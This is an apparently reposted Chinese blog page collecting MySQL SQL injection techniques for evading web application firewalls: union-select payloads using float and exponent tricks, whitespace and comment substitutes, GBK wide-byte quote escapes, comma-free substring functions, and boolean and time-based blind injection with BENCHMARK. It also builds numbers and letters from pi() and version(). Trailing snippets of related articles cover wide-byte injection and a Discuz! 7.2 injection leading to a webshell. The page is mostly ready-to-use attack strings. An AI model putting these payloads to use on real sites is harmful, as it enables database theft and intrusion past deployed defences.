通用的关于sql注入的绕过技巧(利用mysql的特性)

1 直接上语法 
  2 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
  3 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
  4 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
  5 因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句刚好可以绕过单词边界的判定。 
  6 我是fuzz出来的,了解了一下,大概是利用了语法分析中浮点击指数后语境结束,之后就直接执行后面的语句了。
  7 ==================================================
  8 where id=.1union/*.1*/select-.1
  9 where id=.1union/*.1*/select!.1
 10 where id=.1union/*.1*/select~.1
 11 where id=.1union/*.1*/select(1)
 12 where id=.1union/*.1*/select`host`from mysql.user
 13 where id=.1union/*.1*/select‘1‘
 14 where id=.1union/*.1*/select"1"
 15 where id=.1union/*.1*/select@1
 16 ================================================
 17 mysql研究方向.txt
 18 Mysql:
 19   空格,且与符号(and or),单引号,逗号",",双引号",截断符号如:(# -- /*)
 20   
 21   空格:
 22     select * from(user);
 23     select * from`user`;
 24     ‘and(true)like(false)union(select(pass)from(users))#
 25     ‘union [all|distinct] select pass from users#
 26     09   Horizontal Tab
 27     0A   New Line
 28     0B   Vertical Tab
 29     0C   New Page
 30     0D   Carriage Return
 31     A0   Non-breaking Space
 32     20   Space
 33     
 34   且与符号(and or):
 35     select * from user where host =‘localhost‘ && 0=0 limit 0,1;
 36     select * from user where host =‘localhost‘ || 1=1 limit 0,1;
 37     
 38     20   Space
 39     2B   +
 40     2D   -
 41     7E   ~
 42     21   !
 43     40   @
 44     Example:
 45       SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
 46     
 47     ● Prefixes (combine arbitrarily 任意组合 单目运算符): + - ~ !
 48     ‘ or --+2=- -!!!‘2
 49     ● Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
 50     XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...
 51     ‘ or 1 
 52   单引号:
 53     ‘-GBK编码%df‘;‘-%2527 UNICODE编码
 54     
 55   
 56   逗号:
 57     UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
 58     //利用MySQL出错爆出字段
 59     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
 60     ERROR 1060 (42S21): Duplicate column name &apos;Host&apos;
 61     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
 62     ERROR 1060 (42S21): Duplicate column name &apos;User&apos;
 63     mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
 64     ERROR 1060 (42S21): Duplicate column name &apos;Password&apos;
 65     
 66   双引号:
 67     类同单引号的思路
 68     
 69   编码:
 70     ‘ or ‘a‘ = n‘a # unicode
 71     ‘ or ‘a‘ = b‘1100001 # binary
 72     ‘ or ‘a‘ = x‘61 # hexadecimal
 73     ‘ and substr(data,1,1) = 0x61# 0x6162
 74     ‘ and substr(data,1,1) = unhex(61)# unhex(6162)
 75     ‘ and substr(data,1,1) = char(97)# char(97,98)
 76     String builder (3)
 77     ● Previous functions are well known
 78     ● My favourite:
 79     ‘ and substr(data,1,1) = lower(conv(10,10,36))# ‘a‘
 80     ‘ and substr(data,1,1) = lower(conv(11,10,36))# ‘b‘
 81     ‘ and substr(data,1,1) = lower(conv(36,10,36))# ‘z‘
 82     
 83     
 84   截断符号:
 85     常见的:# -- /*
 86     -- -   SQL comment
 87     ;%00   Nullbyte
 88     `   Backtick
 89     
 90     
 91   盲注:
 92     AND MID(VERSION(),1,1) = ‘5‘
 93     AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A‘
 94     ‘ and substr(data,1,1) = ‘a‘#
 95     ‘ and substring(data,1,1) = ‘a‘#
 96     ‘ and mid(data,1,1) = ‘a‘#
 97     ● All 3 functions work without comma(逗号) too:
 98     ‘ and substr(data from 1 for 1) = ‘a‘#
 99     lpad(data,1,space(1)) // lpad(‘hi‘,4,‘?‘) = ‘??hi‘
100     rpad(data,1,space(1)) // rpad(‘hi‘,4,‘?‘) = ‘hi??‘
101     left(data,1)
102     reverse(right(reverse(data),1))
103     insert(insert(version(),1,0,space(0)),2,222,space(0))
104     ● Subselect:
105     1‘and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit
106     1,1)and‘1
107     
108     Some functions allow to search substrings:
109     ‘-if(locate(‘f‘,data),1,0)#
110     ‘-if(locate(‘fo‘,data),1,0)#
111     ‘-if(locate(‘foo‘,data),1,0)#
112     
113     ● Some functions allow to cut substrings:
114     length(trim(leading ‘a‘ FROM data)) # length will be shorter
115     length(replace(data, ‘a‘, ‘‘)) # length will be shorter
116     
117     Subselect:
118     foo‘div count(select`pass`from(users)where mid(pass,1,1)rlike
119     lower(conv(10,pi()*pi(),pi()*pi())) )-‘0
120     
121     Blind SQL Injection
122       Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))
123     
124     
125   
126   延迟:
127     ‘ - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘true‘)), false)) - ‘ 
128     
129     
130   Nope:
131     false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20
132     true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21
133     true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22
134     floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23
135     ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24
136     floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25
137     ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26
138     ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27
139     floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28
140     floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29
141     
142     
143     conv([10-36],10,36)
144     false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
145     true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
146     true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
147     floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
148     ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
149     floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
150     ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
151     ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
152     floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
153     floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

时间: 2024-10-26 22:48:35

通用的关于sql注入的绕过技巧(利用mysql的特性)的相关文章

sql注入常见绕过技巧

参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9642882.html 目录: 大小写绕过 双写绕过 内联注释绕过 编码绕过 <>绕过 注释符绕过 对空格的绕过 对or/and的绕过 对等号=的绕过 对单引号的绕过 对逗号的绕过 过滤函数绕过 0x01 大小写绕过 UniOn SeleCt 0x02 双写绕过 ununionion sesele

SQL注入防御绕过——二次编码之干掉反斜杠

SQL注入防御绕过--二次编码 01 背景知识 一.为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输.对于URL来说,编码主要是为了避免引发歧义与混乱.例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=abc&pwd=123如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和= 符号进行转义,也就是对其进行编码.对于URL编码的深入研

SQL注入之绕过WAF和Filter

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证.看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起

SQL注入防御绕过

一.宽字节注入1.什么是宽字节GB2312.GBK.GB18030.BIG5等这些都是常说的宽字节,实际为两字节 2.宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭 mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围 注入方法:在注入点后键入%df

登陆页面Sql注入(绕过)

如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对登录页面进行注入(一直以为sqlmap只能对url里的对象进行注入) 参考资料:https://x.hacking8.com/post-307.html “sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”,换句话说sqlmap可以对登陆页面进行注入,并且它会自动

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

[转载]SQL注入绕过技巧汇总

转载一篇比较好的文章,乘心物游大佬写的. SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的.这篇文章就是总结我在遇到的CTF题目或者是渗透环境的过程中,所使用到的sql注入的绕过技巧,这篇文章随着自己的见识和能力不断的提升,所总结的方法也会变多.1.引号绕过 会使用到引号的地方是在于最后的where子句中.如下面的一条sql语句,这条语句就是一个简单的用来查选得到u

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应

WAF的SQL注入绕过手段和防御技术

一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数据,这些输入中的一部分被解释成SQL指令,改变了原来的正常SQL执行逻辑,执行了攻击者发出的SQL命令,最终使攻击者获取Web应用的管理员权限或者下载了Web应用存到数据库中的敏感信息. 二.SQL注入如何实现 为了对本文进行更好的讲解,下面简单地对SQL注入的原理进行示例性说明. 如下图是某网站的